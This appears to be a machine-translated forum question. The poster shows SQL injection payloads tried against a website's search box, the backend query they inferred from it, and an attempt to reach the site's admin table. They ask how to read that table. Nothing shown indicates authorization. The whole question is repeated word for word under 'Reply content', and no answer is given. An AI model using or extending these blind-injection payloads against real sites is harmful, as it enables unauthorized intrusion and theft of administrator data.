So, these two days when trying to inject a station through a text search box, query
XXX%' and 1=1 and '%'='
Normal display, query
XXX%' and 1=2 and '%'='
When it is not properly displayed, its query statements are as follows
SELECT d.* FROM Table1 d left join Table2 c on c.name = d.name WHERE d.id != 0 and c.location like '%(搜索框的内容)%' ……
And then I want to try.
XXX%' and (select count(*) from admin)>0 and '%'='
The result is an error
Table 'child.admin' doesn't exist
So the question is, how can I check the admin table instead of checking to see if *.admin exists?
Thank God for the first place.
Reply content:
So, these two days when trying to inject a station through a text search box, query
XXX%' and 1=1 and '%'='
Normal display, query
XXX%' and 1=2 and '%'='
When it is not properly displayed, its query statements are as follows
SELECT d.* FROM Table1 d left join Table2 c on c.name = d.name WHERE d.id != 0 and c.location like '%(搜索框的内容)%' ……
And then I want to try.
XXX%' and (select count(*) from admin)>0 and '%'='
The result is an error
Table 'child.admin' doesn't exist
So the question is, how can I check the admin table instead of checking to see if *.admin exists?
Thank God for the first place.